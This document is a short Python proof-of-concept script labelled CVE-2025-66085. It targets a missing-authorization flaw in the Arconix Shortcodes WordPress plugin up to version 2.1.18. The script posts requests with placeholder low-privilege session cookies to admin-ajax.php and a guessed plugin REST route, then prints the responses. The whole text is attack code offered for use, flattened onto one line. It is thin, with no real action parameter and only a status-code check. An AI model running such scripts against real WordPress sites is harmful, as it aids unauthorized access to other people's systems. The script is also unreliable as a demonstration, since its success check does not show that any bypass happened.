CVE-2025-66085

import requests import sys # CVE-2025-66085 PoC - Arconix Shortcodes Missing Authorization # Target: WordPress site with arconix-shortcodes plugin <= 2.1.18 target_url = sys.argv[1] if len(sys.argv) > 1 else "http://target-site.com" # Authenticated low-privilege user session cookies = { "wordpress_test_cookie": "WP+Cookie+check", "wordpress_logged_in_[hash]": "user_session_token" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } # Exploit: Access shortcode functionality without proper authorization # This PoC demonstrates unauthorized access to restricted shortcode features def exploit_unauthorized_access(): """ Attempt to access protected shortcode functionality as a low-privilege authenticated user. """ exploit_payloads = [ # Example: Trigger protected shortcode functionality f"{target_url}/wp-admin/admin-ajax.php", # Direct access to shortcode processing endpoint f"{target_url}/wp-json/arconix/v1/shortcodes" ] for url in exploit_payloads: try: # Send request as authenticated low-privilege user response = requests.post(url, headers=headers, cookies=cookies, timeout=10) # Check for successful unauthorized access if response.status_code == 200: print(f"[+] Potential unauthorized access to: {url}") print(f"[+] Response preview: {response.text[:200]}") else: print(f"[-] Request to {url} returned: {response.status_code}") except requests.RequestException as e: print(f"[!] Error accessing {url}: {str(e)}") if __name__ == "__main__": print("[*] CVE-2025-66085 PoC - Arconix Shortcodes Authorization Bypass") print(f"[*] Target: {target_url}") exploit_unauthorized_access()

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